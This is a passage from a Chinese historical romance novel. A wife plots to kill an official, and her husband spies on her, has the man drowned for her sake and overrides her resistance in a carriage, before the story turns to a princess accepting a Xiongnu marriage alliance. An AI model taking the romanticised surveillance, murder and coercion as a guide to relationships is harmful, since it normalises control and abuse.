徽音后颈被他抓着有些痛,裴彧在气头上,她只能忍着不去激怒他,眼角慢慢浸出泪,“是我让冯承抓的他,这一切与冯承无关,你放了他!” 裴彧松开徽音,将她按在怀里,指腹轻轻抹去她眼角的泪珠,轻呢细语:“你让冯承去城外找了什么,你们之间到底有什么秘密。” 徽音呼吸一滞,没想到他连这个都知道了。她浑身冰冷,转头望着裴彧,不可置信,“你一直都在监视我?” 裴彧不躲不避:“是。” 徽音望着他冷漠的面容,心中难受至极,她闭上眼任眼泪滴落,强忍住气,裴彧的所作所为,她接受不了,但她也不想在外人面前跟裴彧吵,她用力退开裴彧的怀抱,距离他一丈远,面色冷漠,无声无息。 裴彧眼睁睁看着徽音眼底的情意转为陌生,心中抽痛。都到这个地步了,徽音还是不肯说,她到底在瞒着他什么! “行,你想不说这个,那总得说说你绑平嵘是做什么?”裴彧胸口闷痛,率先在徽音冷漠的目光中败下阵来。 徽音望了倒地昏迷的冯承一眼,依旧不吭声。 裴彧一口气堵在胸腔险些出不了,他带怒的挥手,“把人放了。” 等冯承的人全部离开后,院中只剩对峙的两人以及屋中在地上扭成毛毛虫的平嵘。 平嵘好不容易在地上滚来滚去,终于将口中堵住他嘴的白布吐出,方才徽音和裴彧的交谈他听的一清二楚。 他余光瞥见裴彧阴沉的脸色,大声喊道:“裴将军,是宋徽音这水性杨花的贱人勾引的我,她昨日对我眉目传情,约我今日在此见面,我一时不察才受了蒙蔽!” 裴彧忍无可忍,他本就憋着一口气出不来,此刻见平嵘辱骂徽音,当即阴着脸上前,钻挑穴位下手,不过三拳,平嵘便如同死鱼一样躺在地板上,无力呻吟。 裴彧扬手就是一耳光打掉平嵘一颗牙,怒道:“你算什么东西,她勾引你?” 平嵘鼻青脸肿,“她……真的……勾引我……” 裴彧轻笑,轻扭手腕,指节弯曲击在胸口,用力往下钻,“她勾引你?” 徽音只听见平嵘一声惨叫,凄厉无比。她皱着眉,回头看着发疯的裴彧喝道:“吵死了!” 裴彧动作一顿,抬手点了平嵘的哑穴,小院再度恢复宁静。 徽音望着蹲在平嵘身边生闷气的裴彧,他侧着脸,只拿后脑勺看她。她走进屋,坐在两人面前的锦席上,“他说的没错,是我故意勾引。” 平嵘微弱的动了动指尖,拿一双眼缝瞧着裴彧,仿佛在说,你看,我没说谎。 裴彧听见这话,眉间紧皱。 徽音继续道:“我将他诱来此地擒住,是为了杀他。” 平嵘面露惊恐,躬着身子往裴彧身后躲。口中发出呜呜的叫声,宋徽音简直是疯了,她居然如此大胆敢谋害朝廷命官! 裴彧站起身,居高临下的望着徽音,“你要杀他,是为了死去的平祯,你和他什么交情,为他做到如此地步。” 徽音忽然莞尔一笑,望着裴彧有趣道:“和平祯有什么关系,我杀他是为了一个你们早已经忘记的人。” “一个你们都觉得该死的人。” 平嵘睁着大眼,面露疑惑。裴彧也面有不解。 徽音面无表情,望向屋外,“在整件事件中最无辜的人,被你们沉塘而死的萧纷儿。” 裴彧皱眉:“罪魁祸首苏信已死,你为何不肯罢休。” 徽音站起身,朝上走两步站在阶梯上,高过裴彧一个头俯视他,“平嵘不无辜吗?我就是要他死,你要护他吗?” 裴彧盯着徽音,眼含怒气,“若细说下来,你才是整件事情的推手,你要平嵘为萧纷儿偿命,其实最该偿命的应该是你才对。” 徽音深吸一口气,试图压下胸腔里愤怒的情绪。她冷着脸开口,声音暗哑,“你说的没错,我杀平嵘只是为了平息自己的愧疚,我不想午夜梦回再看见那张惨白的脸,不想听着那声哀叫日日夜夜盘旋在耳边!” “你大可以将我扭送廷尉,也可以就地斩杀我。” “宋徽音!”裴彧怒喝一声打断她。 徽音忍不住的流泪,泪水大颗大颗滚落,她无视裴彧继续道:“你不是想听吗,怎么说了,你又不乐意听了?” 裴彧上前一步,想要拉住徽音,却被她挥手打落躲了过去。 徽音擦干泪,漫无目的朝外走,她好累,她想回去睡一觉,她想念颜娘温暖的怀抱,在这世上只有颜娘才会坚定不移的站在她身边,不会背叛她。 其实还有一个人,徽音泪越擦越多,她的幼弟裴彧,半年没有消息传回,徽音一直劝自己,没有消息就是最好的消息。 可是,自欺欺人是没有用的,时至今日,她不得不接受这个事实,景川死了,继失去父母之后,她失去的弟弟。 还失去了裴彧,不,也许她从来就没有得到过裴彧。 眼泪擦到最后,反倒变成泪流满面了。徽音不明白,经历了这么多,她为什么还是这么爱哭。 徽音脚步蹒跚的离开小院,无视驰厌等人,漫无目的的走到街道上。她看见了很多人,他们每个人身边有人陪着,有亲人,朋友,爱人,只有她是孑然一身。 “去哪里,裴府在后边。”手腕被人捉住,裴彧熟悉的声音传来。 徽音奋力抽回手,却被他死死的抓住,她用力挣扎也无济于事,心中怒意更甚。 裴彧低头凝望徽音的头顶的发漩,无奈暗叹,“我错了,别哭了。” 徽音默不作声,眼泪却掉的更凶了,她咬着牙去掰裴彧的手腕,怎么也掰不开。 “你放开我!”徽音仰着头,泪珠顺着脸颊滑落。 裴彧心中抽痛,不顾她的阻止把人抱紧怀中,轻轻吻着徽音的泪水,声音藏着一丝微不可察的颤抖。 “你别哭,是我错了。” 徽音在他怀里使劲挣扎,她憋着一团怒火,张口咬在裴彧的肩膀上,愤恨道:“你当我是什么,召之即来挥之即去的小猫小狗吗!还是有你养的一只金丝雀,你想怎样就怎样,你放开我!放开我!” 她奋力挣扎下,裴彧不敢用力,还真有些捞不住她身子。周围的百姓被他们二人的打闹吸引,纷纷凑过来看热闹。 “这位郎君,你是如何惹你家夫人生气的,说出来听听?” “就是郎君,你夫人这般好看,你怎舍得惹她哭泣。” “小夫妻俩闹别扭,床头打架床尾和。” 徽音一时间只觉得丢脸,僵着身子任由裴彧揽在怀中,她将脑袋埋在裴彧胸前,拽着他的衣袖低声道:“快走。” 裴彧低头看着装鹌鹑的徽音,横抱起徽音,抬袖遮住她的面容,大步离开。才上马车,徽音就从裴彧的怀中钻出来,冷着脸抱臂坐在一旁。 她脸上的泪痕已经消失,被泪洗过的眼睛澄澈发亮,裴彧沉默着坐过去,伸手去拉徽音的手。 啪—— “别碰我。”徽音打掉他的手掌,一脸厌恶的别过头。 裴彧深吸一口气,强硬的将让揽在怀中,大掌掐住徽音的脸颊,恶狠狠道:“我还没找你麻烦,你倒先生起气来了!你知不知道,平嵘身边有平家的暗卫保护,今日若不是我在,你和冯承早就没命了!” 徽音掰他手掌的动作顿住,抬眼去看裴彧,他看起来真的很生气,紧绷着脸,太阳穴的青筋暴起,眼底还带着青黑,似乎几日未曾休息好。 她的心不由得软下来,嘴上却不肯吃亏,瞪着裴彧道:“这不是你派人监视我的理由。” 裴彧彷佛被这句话刺中,神色冷漠的松开徽音,生气的闭眼。要不是他派人跟着徽音,就不会知道在她心里,冯承才是最亲近的人。 他越想心中越泛酸,在心中细数她的罪状,她骗他,还私下吃避子药,明知道他讨厌冯承,总是和冯承单独见面,就连要杀平嵘这么大的事都是找冯承帮忙,将他这个夫君置于何地! 马车内突然安静下来,只剩车轱辘在青砖地板上驶行的声音,徽音揉着发麻的双颊,无语的望着裴彧,他紧闭眼仰头靠在车厢上,脸上一副肝肠寸断的模样。好像徽音真的红杏出墙,勾引平嵘被他当场捉住一般。 徽音:“你要带我去哪里?” 裴彧鼻翼动了动,侧身拿后脑勺对着徽音,发尾轻轻晃动。 徽音又问了几句,那人不耐烦的掩上耳朵,“到了你就知道了。” “你……”徽音气急,她还没生气,这人就甩上脸子了。她扑过去,拳打脚踢的招呼在裴彧身后,她不发威,真当她没脾气是吧。 “你找人监视我,莫名其妙的朝我发脾气,还对我动手,你是不是不想和我过了!” 徽音气红了脸,大声怒道。 裴彧背脊一僵,徽音力气不大,捶在他肩侧跟按摩一样,让他触动的是,她说“是不是不想和她过了”。原来她是想好好跟他过日子的。 他僵着头转过身,将生气的徽音揽紧怀里,抱的很紧。 “我想和你好好过的,那你呢?” 徽音叫他箍的有些喘不过气,她拽着裴彧的手臂往下来,心中存疑,裴彧不对劲,他到底怎么了。 她轻声问:“裴彧,你怎么了,是发生了什么事了吗?” 裴彧望着徽音明亮的双眼,脱口的质问发不出声,他想起来今日徽音瞧见他时的神情,她是那样开心能见到他,小跑到他面前软语关心他。 徽音肯定是喜欢他的,她吃避子药肯定是她的苦衷的,等她想说了,她会告诉他的。 裴彧将自己安慰好后,抬手摸着徽音发红的脸颊,她太柔弱了,肌肤白皙,稍微用点力就能在她身上留下红痕,“我看见你冯承在一起就吃醋,控制不住的生气,你脸还疼吗?” 脸颊上温热的指腹来回在她脸上抚摸,徽音摇摇头,“不疼,你没用劲。” 她迟疑片刻,“你不喜的话,我以后尽量不和冯……承见面了,你不要再派人监视我了,我不喜欢这样。” “好。”裴彧低低应声,他重新把徽音抱进怀里,下巴蹭着她柔柔的发丝,煎熬的心才慢慢恢复平静。 他下次会动作小心的,不会再让徽音发现他的监视,徽音身边出现的人,发生是事,他全部都要知道。 她这样好,要是不紧紧看着,就会被人觊觎,被人抢走。 徽音抱紧裴彧,她喜欢裴彧的怀抱,宽阔沉稳,能让她一颗心完全沉静下来,毫无烦忧。 她仰着头,亲亲他的喉结,“我们到底去哪?” 裴彧脸上终于带上笑,他双手在徽音背脊来来回回的抚摸,埋在她的发顶亲吻,手下温软香玉让他爱不释手。 他懒洋洋的靠在车厢上,眼尾上挑,“你不是想杀平嵘吗?” 徽音睁大眼睛,喃喃道:“你不是要护着他吗?” “护他?”裴彧嗤笑一声,低头凑近徽音讨吻,“他死不死我才不在意,我在意的是你现在还生不生气?” “还有一点。”徽音盯着他滚动的喉结,她已经四天没有和裴彧亲热了,此刻不免有些蠢蠢欲动。 她见裴彧的第一眼就被他皮相所惑,心生欢喜,裴彧若是个女子,凭着这份勾人的劲,必定很诱人。 裴彧压低声音,紧紧盯着徽音,眼神如狼似虎,“那怎么样你才能不生气?” 徽音无意识的舔舔唇,眼神飘忽,“就……” 她整个人被压在车厢上,裴彧的吻来的又快又急,她尚未反应过来,唇关就已经被撬开,被人长驱直入。 裴彧捧着她的头,微微仰着她的下巴,这个动作能让他更方便侵入。他吮着徽音的唇瓣,轻咬□□,和她唇齿交缠。 徽音浑身上下发软,鼻腔里全身裴彧的味道,她合上眼,微弱的回应他。 腰带被人解开,徽音迷茫的睁开眼,拦住裴彧作乱的手,气喘吁吁道:“不可以。” 裴彧低头用嘴咬开她的衣襟,徽音清晰漂亮的锁骨露出,他抬起头,眼神蒙上一层雾水,漆黑的眼珠直勾勾的盯着徽音,异常勾人。 裴彧嗓音沙哑,“你不想我吗?” 徽音满面羞红,她捂着脸不好意思道:“不要在马车上,外面有人。” 裴彧双手绕过徽音的腰身,在她腰□□位轻轻一按。徽音瞬间软软的倒在他的怀里,仍他施为。 “你不出声,他们就不知道。” 徽音呼吸急促,裴彧的衣袖从她手中溜走,只剩一缕柔软的黑发,她双腿被人制住,无力阻止。 裴彧亲吻徽音的手臂,笑道:“忍不住就扯我的头发,我会轻点。” —— 马车停下时已是黄昏,徽音甚至都没来及看清身处何地,就被裴彧一路抱着进入农院。她埋头在裴彧的怀中装死,强迫自己不去想马车上的画面,更不敢抬头去看外面跟着的侍卫。 农院简陋,只有两间屋子和一件灶房,好在还算干净。裴彧将徽音放在榻上,打来清水替她梳洗。 徽音腹中饥饿,胡乱吃了几口糕点垫肚子,“来这里到底坐什么?” 裴彧帮她系好腰带,走到窗边开窗,这院子地势很高,从窗口望去,可以望见底下一片巨大的水湖。 徽音心中浮现一个答案,她下榻直奔窗前,“这里是双溪林?” “嗯。”裴彧摸着她的头,心中怜爱。 徽音看不清他的表情,只听见他在头顶道:“你白日里说午夜梦回总是能看见萧氏,我想,在这里沉塘平嵘,应该能告慰萧氏的亡灵,让她往生不再纠缠你,让你安心。” 四周一片寂静,连风声都静止起来,徽音身体微微颤栗,裴彧的话仿佛在她心里砸下一个重石,激起千层浪,她颤抖道:“平嵘死了,会不会对你有影响?” 裴彧平静回道:“不会。” 他有把握,也有能力叫平嵘死得悄无声息,无人察觉,甚者能叫平家不再追查此事,他可不是冯承那样的废物。 他低头问,“要去看看吗?” 徽音摇摇头,“不去了。” 裴彧颚首,吩咐驰厌将人压下去。 漆黑的夜里燃起火把,屋外传来叫骂声,又一点一点的消失,徽音听见一声重物落水的声音,惊得她半天没回过神,不知过了多久,裴彧才揽着她回到床上。 他摸着徽音僵硬的僵硬的脊梁无声安抚,柔声道:“今夜太晚,我们在此住一夜。” 徽音僵硬的点点头,任由他摆弄。她躺在床上钻进裴彧的怀抱,舒心中又带着害怕,更多的是松了口气。 她知道自己很卑劣,但她实在没有无私到要拿自己的性命去给萧纷儿赔罪,她能做的只有这些。 徽音握紧裴彧的衣襟,紧紧闭上眼。 这间屋子采光并不好,只有细微的月色照进屋内,裴彧盯着那抹月色,徽音在怀,他实在没有心思睡觉,但白天在马车上把她折腾很了,这里条件简陋,他不想委屈她。 黑夜中,他望着徽音的轮廓开口,“以后,有任何事情都告诉我,我会帮你解决的,好吗?” 徽音睫毛轻颤,她能感觉到裴彧沉甸甸的目光落在她脸上,如有实质。她这一刻竟有些控制不住的想将一切都和盘托出,徽音喉间发涩,忍不住试探道:“还有苏侑,他也是帮凶。” 裴彧沉默半响,“他不能动。” 徽音咬紧牙关,“为何?” 裴彧不知道在想什么,他翻了个身平躺着,语气平静,“太子和苏静好即将大婚,苏家此后皆系于太子一身,不能动。” 徽音眼睛微微泛酸,她忍不住抬手揉了揉,即使心中做足了准备,听见这句话时还是很难过。 她小声回道:“我知道了。” 没关系,她需要裴彧帮忙,也可以自己动手拉下苏家。这些日子以来,她学会最重要的一件事情,就是人只能靠自己,不能将希望寄托于旁人身上。 第55章 我愿意去和亲匈奴。 同年八月, 匈奴犯边,入代郡、定襄、上郡,杀掠数千人。 南朝内忧外患齐发, 朝廷之上,主战和主和派争论一团, 以裴家为主的武将主战,以郑家为主的文臣主和,连繁华的长安都城都沉默两分,不复以往。 三日之后, 陛下接纳了主和派的建议,派遣使臣同匈奴单于忽丹商议主和停战一事。在这风雨欲来的节骨眼上, 平嵘的失踪如同一颗石子投入大海, 毫无水花。 五日后,议和使臣带回匈奴单于忽丹的手书, 他要求南朝为匈奴提供粮食盐巴之物外,还在信中明言,求娶南朝睢阳公主,若得南朝公主出降,愿同南朝结两国之谊, 互不侵犯。 临水阁内, 贺佳莹绘声绘色的向徽音传述打听来的事迹, 末了, 她生气的拍桌道:“蛮夷之人, 也想求娶我南朝公主, 简直是做梦。” 徽音听闻眉心蹙起,此事实在过于蹊跷,匈奴单于为何直言要求娶睢阳。我朝曾有和亲公主的前例, 只不过历来都是从宫中宫女挑选礼仪容貌上乘者封为公主,和亲匈奴,最不济也是选取宗室女,从未有过嫁真公主的亲例。 南朝现下秋收受大旱影响灾荒,天灾匈奴亦逃脱不过,只怕是草原水草不丰,匈奴选择在此时杀掠南朝,其目的自然粮食和其他物资,但却偏偏在此刻提出要公主和亲,幕后是谁在推波助澜。 贺佳莹好半天没有听见徽音的声音,她疑惑的抬头,发现徽音面色沉沉,一副心事重重的模样,她喝了口茶安慰道:“别担心了,睢阳殿下可以陛下的嫡公主,陛下不会同意她和亲的。” 徽音没有她这样天真的想法,“没那么简单,陛下先是君,而后才是父,为天下社稷舍一个女儿,他做得出来。” “你说陛下会让殿下去和亲?”贺佳莹愣住。 徽音望了眼阴沉的天色,似乎是要降雨了,只是这雨来的太不凑巧了。若是早一个月来,一切就大不一样了。 徽音问:“如果你是陛下,舍一个女儿就能平息一场大战,你会怎么做?” 贺佳莹喉咙发紧,“我……皇后娘娘不会同意的,还有我表兄,他也不会同意的!” 轰隆—— 时隔半年的大雨终于落下,雨势凶猛,似要将这世间一切的污浊都洗刷干净,徽音站在窗边,飘零的细雨打在她身上,带起一阵寒意。 入秋了。 这些时日,朝堂之上谁主和,谁主战她一清二楚。裴彧也很明白,陛下是不会主战的,要战,绝不是现在。 公主和亲,势在必得,没有转圜的余地。她清楚,裴彧也很清楚。 徽音关上窗转身,发觉贺佳莹红着眼望着她,她唇瓣微微颤抖,“公主真的会和亲吗?” 徽音垂下眼,轻轻点头。 她来不及安慰哭泣的贺佳莹,宫中懿旨已到,皇后娘娘宣她进宫。 进宫的路上,徽音不住的想着,宫中情况究竟如何了,为何皇后要宣她进宫。难到是要让她去劝睢阳答应和亲吗? 她跟着宫人一路走进椒房殿,雨水在地上蜿蜒长流,黏湿的衣裙贴着身体,叫人难以忍受。 徽音走进大殿,乌云翻滚,殿中并未点灯,昏沉一片。她依稀能看见殿中央跪着一个单薄的身影,双肩下塌,穿着一身菱色曲裾,在这昏暗的天色下鲜艳的衣裙都暗淡无光。 裴皇后坐在大殿之上,一改往日的端庄雍容,她单手撑着头,神情灰败,案几面前全是散落的竹简片。 徽音走过去跪在睢阳身边,俯身下去行礼,“皇后娘娘万安。” 睢阳耳尖微动,转头望着徽音泣泪,她动了动嘴唇,什么都没说,又低下头去。 这一眼,叫徽音看清了她脸上的红痕,是一个红红的巴掌印。殿中的种种迹象都说明,裴后和睢阳大吵一架,甚至还动起了手。 徽音一颗心沉到谷底,缓缓抬眼去上首的裴后,裴后疲惫的坐直身体,双目泛红,声音沙哑不堪,“你来了,帮予好好劝劝她。你的话,她能听进去。” 徽音垂着眼:“若娘娘是要妾劝公主和亲,妾做不到。” 睢阳抬起头,拉出一张比哭还难看的笑脸,“母后是让阿姊劝我,不要去和亲。” 徽音一怔,不明所以。 裴后一脸痛心,这是徽音第一次看见她的泪,一个母亲疼惜女儿流下的眼泪,她说:“母后已有法子,你只用按照母后说的去做,母后一定能保住你!” 睢阳仰起头,任眼泪滴落,“母后说的法子,就是让旁人替我去和亲吗?” 徽音忍不住问:“娘娘可否明言?” 裴后撑着案几起身,眉间皱痕清晰,曳地的裙摆拖动发出悉悉索索的响声,她声音暗藏无奈,“世人只知陛下只有两女,睢阳和广陵,却不知他膝下还有一位女儿。其生母出身卑贱,为陛下所不喜,自出生就被扔在宫外,她年岁要比睢阳大些,予打算将她接回宫,赐她封号,再对外称睢阳急病,让她代嫁。” 徽音听完这段皇室辛密,良久未语,裴后所言确实是一个办法,匈奴单于虽点名要南朝嫁睢阳公主,但其中依旧还有可操作的空间,嫁一位真公主再多许一些利益,他们未必不会接受。 只是那位公主当真是可怜。 徽音从怀中掏出锦帕,轻轻擦拭睢阳面上的泪痕,睢阳肉眼可见的清减不少,曾经明媚的笑容也消失不见,只剩眉间蹙起的愁绪。 睢阳眨眨眼,长睫上的泪顺流而下,她吸着鼻子,声音瓮声瓮气的,“徽音阿姊,我……接受不了,用别人的一生来换我自己的。” 徽音亦是五味杂陈,她与睢阳亲厚,而与那位公主却素不相识,于她而言,保住睢阳才是当下的要事,其他人她不顾上。 “殿下,这个世上很多事不是非黑即白的,人应该自私些,保住自己才是最重要的。” 睢阳浑身颤抖,声音嘶哑:“阿姊,道理我都懂,可是……受万民景仰,享无限尊荣的是我,不是她!我身为南朝公主,国家为难之际,我自当奋不顾身,这是我身为公主的职责。” 裴后也跟着喝道:“你是公主,她也是公主,为何你能嫁,她不能嫁!” 睢阳抹了把泪,倔强的抬头反问,“母后说她是公主,为何她至今不曾有封号,为何天下人人都不识她这个公主,为何身为公主的她过着比奴婢还不如的生活,如今出了事倒是想起她是公主,叫她拿下半辈子去替我!” 裴后被这声声质问逼问的连连后退,“你……或许我就不该把你教成这样……”她把这个女儿教得太好了。 徽音心疼的望着睢阳,摇头落泪,“殿下也许,她是的愿意的呢。” 裴后听闻这句从打击中回过神,连忙吩咐姚兰将人带进来,徽音回头去看,殿中昏暗的烛火打在那女子身上,渐渐看清她的相貌。 她很瘦弱,肩颈微微发颤,面容与陛下并不相似,应是像她的母妃,眉眼细腻温柔,面容黄瘦眼神怯懦。 她不懂宫中礼仪,进来后只略微瞟了眼殿中的人就慌忙低下头不敢再看,落后一步,看着姚兰的动作才慢慢跪在地上,身子低伏。 裴后恢复往日庄重的模样,亲自起身扶起她,打量她的相貌,良久暗叹道:“我听宫人说,你叫冬儿?” 冬儿垂着眼,害羞的点点头。 裴后又问,“这名字是谁给你取的?” 冬儿偷偷看了眼皇后,声音很轻,“是照顾我长大的嬷嬷,因生在冬日取此名。” 裴后点点头,拉着冬儿来到跪着的睢阳面前,将两人的手合在一处,轻声细语,“冬儿,这是你妹妹睢阳,你也可以叫她央央。” 冬儿低垂的头慢慢抬起,眼神忽然止住,她曾见过睢阳一面,很多年前睢阳曾随裴后出宫,在她生活的地方住过几日,那时的睢阳生得更个雪玉团子一样,看见破破烂烂的她,还赠过她一块糕点,甜滋滋的,暖到人心里,冬儿很喜欢她。 她讨好的小声开口,“央央,妹妹。” 睢阳满眼复杂,抽手离开,“谁是你妹妹,我没你这个姐姐!” 冬儿被她吓住,慌忙跪下磕头求饶,“殿下恕罪,请殿下责罚。” 睢阳一惊,连忙抓着她的肩膀将人扶起来,生气道:“你干什么,谁准你下跪磕头的!” 冬儿有些害怕道:“嬷嬷说不能惹怒贵人,殿下莫生气。” 睢阳只感觉眼眶一热,眼泪汹涌而出,她一把推开冬儿,恶狠狠道:“你知道不知道,你叫我妹妹意味着什么?” 裴后轻喝意图阻止,“央央!” 睢阳语速极快,“你叫我妹妹,意味着你就是我的姐姐,要替我去和亲匈奴!你知不知道匈奴是什么地方!” 冬儿被推倒在地上,怔怔的望着睢阳,瞧见她的泪后,手足无措的上去,“你别哭,我知道,我都知道的。我是愿意的,殿下,我愿意替你去和亲。” 睢阳呼吸骤止,颤抖的问,“为什么?” 冬儿微微蹙眉,“因为我是你姐姐。” “你不是你不是我姐姐!”睢阳眼泪掉得更凶了,连话都说不清晰。 裴后松了一口气,握着冬儿的手异常欣慰,“你是个好孩子,你的恩情,我们裴家一辈子都会记得。” 冬儿担忧的望了眼睢阳,对着裴后摇摇头,“这是我应该做的。” 裴后拍拍她的手,轻柔道:“这些时日,你就住在椒房殿好好学习宫规,和亲的日子只怕就在三月后了。” “过些时日,予就上书,请陛下封你为九真公主。” 冬儿应声,跟着姚兰走出去,离去时满怀担忧的回头看了睢阳。 徽音看完全程,心中异常难受,她怎么也想不到,这位从小在宫外长大的公主,不曾有半分怨恨,反而如此深明大义。这样的结局她应该是喜闻乐见的,只是不知为何胸口发闷。 她看着睢阳瘦弱的身躯挺直跪在那里,垂在身侧的手握成拳头,心中一跳。 下一刻,她看见睢阳直起身,目光坚定,“母后,你的法子儿臣不愿,也不会妥协。” 裴后转身的的动作一僵,无视睢阳的话语要离开,快要离开殿内之时她听道睢阳大喊,“儿臣不会同意母后的计划,儿臣要去匈奴和亲!” 裴后再也忍不住,转身回去狠狠给了睢阳一把掌,怒道:“我生你一场,你就是这样回报我的!忤逆母亲,罔顾君上,你个不孝女!” 睢阳被打摔在地上,脸上的红肿更加明显,她附身以额触手,恭恭敬敬行了一个大礼,含泪道:“她从未享受公主尊容,如今母后却要她替儿臣担此大责任,过去数十年,儿臣不曾唤过她阿姊,以后也不会承认她是我阿姊,她不能替我嫁。是儿臣不孝,往后不能再侍奉母后,望母后毋自珍重,长乐未央。” 裴后背脊塌陷,浑身的精气神都散去,她明白这个女儿的性子,看似温和纯良,实则认定的事情绝不回头。她无比万分的后悔,为何要将女儿教得这样好,她应该教她自私些。 裴后怒道:“那王子邵呢!你和他青梅竹马相伴长大,明年春日你们就要成亲了,你真的能舍下他!” 睢阳含泪点头,眼中闪过痛苦,她想起了很多,想起那个待她一心一意的少年,心如刀割。 她擦干泪,深吸一口气,哑着嗓子道:“有缘无分,铭记终身。” “你!” 裴后含着泪回头去看徽音,脚步有些站不稳,她声音颤抖,“徽音,你帮我劝劝,劝劝她。” 徽音望着伏地不起的痛哭睢阳,瑟瑟发抖却目光担忧的冬儿,长叹一口气,起身扶起睢阳朝外走。 “娘娘,请您派人让我们去天牢走一趟。两位殿下年纪尚幼,不知匈奴光景,妾想带她们去见识一番。” 裴后无声点头,将随着佩戴的鸾凤玉牌递给徽音,疲倦道:“让姚兰带你们去。” —— 永巷深处传来铁链刮过石板的钝响,鼻尖萦绕的血腥气经久不散,地牢中凄厉的哀嚎声由远及近,不止两位公主不适,连徽音都有些受不了地牢内阴暗潮湿的气味。 石壁上的陶灯忽明忽暗,木栏珊关着的牢房里,三具血肉模糊,披头散发的囚犯躺在地上的茅草上,脚踝锁着极重的玄铁镣铐。 带路的狱卒停在牢房外,神色恭敬的对身后的三位贵人作揖道:“贵人,就是这里了。这三个匈奴人是抓来的探子,凶狠残暴,莫要靠太近了。” 徽音点点头:“知晓了,你先下去吧。” 狱卒面色迟疑,甬道处的上官给他使了个眼色,他不再耽误,慌忙告退。 他走后,牢中的三个匈奴人也注意到外头站着三个娇弱的南朝女人,其中最凶壮的那人突然昂首,扑到栏栅处怒吼,颈间骨链被他拉扯的哗啦作响,用着听不懂的匈奴语嘶吼。 睢阳和冬儿被他突然奋起怒吼吓住,白了脸色。睢阳长在深宫,是陛下和皇后宠爱的小公主,平素连血色都见不到,更何况是这地狱般的永巷。 她颤着唇瓣,喉咙发干,“他在说什么?” 徽音抿着唇,神色难看,“不知道,总归不是什么好话。” 那个匈奴人的嘶吼声吵醒其他两人,那两人也跟着扑在牢边,身上的伤口涓涓留着血。这两人的面上要比第一人的干净许多,能清晰可见的看清面容。 他们眼裂狭长,颧骨高耸,头发粗硬,眼神锐利带着鹰隼般的警觉,即使在囚笼中也难以磨灭,身材敦实粗壮,皮肤粗糙黝黑,与南朝的清秀文弱的男子天差地别。 徽音听不清他们叽里咕噜的说些什么,回头见两位公主吓得嘴巴泛白,眼神惊恐,见差不多了拉着两人离开。 值夜狱卒提着铁棍和她们擦身而过,不一会儿,身后就传来铁棍敲击木栏珊的声音,匈奴人的嘶吼声参杂些痛呼。 永巷外乌云压成,凉风渐起,吹散三人身上的血气,徽音带着两人上了鸾车,替她们二人一人倒了一杯热茶,斟酌开口,“和亲,并非你们二人想的嫁个人那样简单,那是要远离故土,也许今生都回不来这片生养的自己的土地,再也见不到父母亲朋。” 睢阳和冬儿身体同时一抖,都不曾开口,默默听着徽音继续道:“方才你们也瞧见了,匈奴人与我们往常见到的都不一样,这还只是三个阶下囚,而匈奴有着千千万万这样的士兵。” “听不懂他们的语言,他们不像南朝,住在房屋里,而是住在草场上根据四季迁徙。匈奴人崇尚勇者,信奉弱肉强食。” 徽音顿了顿,将最为残酷的一点说出来,“他们遵从父死子继的习俗,父亲死,儿子是可以继承父亲所有的女人,与南朝的三从四德观念完全背弃,现任匈奴单于忽丹年逾五十六,有四个年轻强壮的儿子。” “匈奴屡犯边境,当今陛下并非重文轻武,相反他还很注重军事,若非今年大灾,民不聊生,陛下未必会答应和亲。十年之内,匈奴和南朝必有一战,到那时,和亲公主的便是弃子,或许会被匈奴杀了祭旗。” “你们现在告诉我,还想和亲吗?” 鸾车内寂静无声,徽音甚至能听见车外跟随侍从的呼吸声,她并不想将这些残酷的真相铺开在两个小姑娘面前,可是现在,必须要告诉她们,真正的匈奴是怎样的,嫁过去之后会怎样。 “我愿意去和亲。” 徽音和睢阳同时抬眼看去,冬儿脸色依旧不好,神情还很害怕,可她却再度重复了那句话,一字一句道:“我愿意,去和亲。” “为什么?”徽音找回自己的声音。 冬儿低下头笑了笑,双手局促的绞在一起,“我虽然没有读过多少书,却也知道战争会带来什么。今年秋收之时我亲眼见到农民颗粒无收,痛哭流涕的模样。方才这位阿姊说,现在的南朝与匈奴打不了战,若用我一人,能换取这场和平,为南朝挣得喘息之机,是我之幸。” 她抬起头,柔和的看着睢阳,“我可以这样叫你吗?央央。” 睢阳艰难的扯起唇角,眼中泪光闪烁的点点头。 冬儿开心的点点头,双眼如同溪水一般清澈,“你还记不记得八年前,你给过我一块糕点,我一直没跟你说声谢谢。” 睢阳捂着唇痛哭,“我不记得了。” “不记得就不记得,不要紧的。”冬儿见她哭出声,从袖中掏出干净的帕子递过去,忙道。 睢阳哽咽道:“方才在母后殿中,我说的是假话,你是我亲阿姊,从我你知道你那一刻起,我就认你了。” 徽音有些待不下去了,她怕她再听下去,也忍不住同两位公主抱在一起痛哭。世间万事,为何如此难以两全。 睢阳哭完,眼角和鼻头红红的,她自腰间解下一枚暖玉玉珏递给徽音,深吸一口气道:“徽音阿姊,劳烦你帮我将此物还给王子邵,帮我再带句话,就说我和他有缘无份,望他另觅良缘。” 徽音不可置信的拉着她,“你” 睢阳彷佛一日之间长大一般,神色庄重,“我亦愿意以我之身,平息战争。” 她转头望着冬儿,对她笑道:“阿姊过去那些年受了很多苦,以后都会好的。” 冬儿不解,“为何,我听闻你与王家郎君感情深厚,明年春就要成亲。我是愿意的,没有人逼迫我,是我自愿的!” 鸾车慢慢停稳,睢阳摇摇头,不再解释什么,她独自下了车,朝深宫走去,黑压压的一片跟在她身后,纤细瘦弱的身躯慢慢消失在黑夜里。 冬儿泪流满面,“为什么?” 无人回应。 徽音捏着那块玉珏,重重吐出一口气,睢阳甚至挥手斩断了与王子邵的情丝,她是绝不会回头了。 第56章 我恨死你了。 徽音回到裴府时已经是深夜, 淅淅沥沥的小雨下个不停,临水阁在一片寂静的夜里亮着火光,照耀她回家的路。 她推门进院, 颜娘等人已经休息,院中却灯火通明, 裴彧等在一楼的堂屋内,灯光打在他侧脸,如刀锋般凌厉。 只一眼,徽音就察觉到他心情不利, 她走进屋问,“在等我吗?” 裴彧转过头, 眼珠黑白分明, 轻轻应声,“宫中如何?” 徽音响起睢阳那个决绝的背影, 心中五味杂陈,摇头道:“殿下拒绝了皇后娘娘替嫁的请求,她应允了和亲。” 裴彧听闻淡淡移开视线,面无表情。 徽音走过去,蹲在他身边展开他攥紧的手掌, 一点一点抚平, 和他十指相扣。 “我和皇后娘娘劝了她很多, 殿下说这是她身为公主的职责, 她不后悔。” 裴彧手掌微动, 声音低沉, “用女子去换取短暂的和平,实在是……” 徽音看着他沉郁的脸色,心中颇为难受, 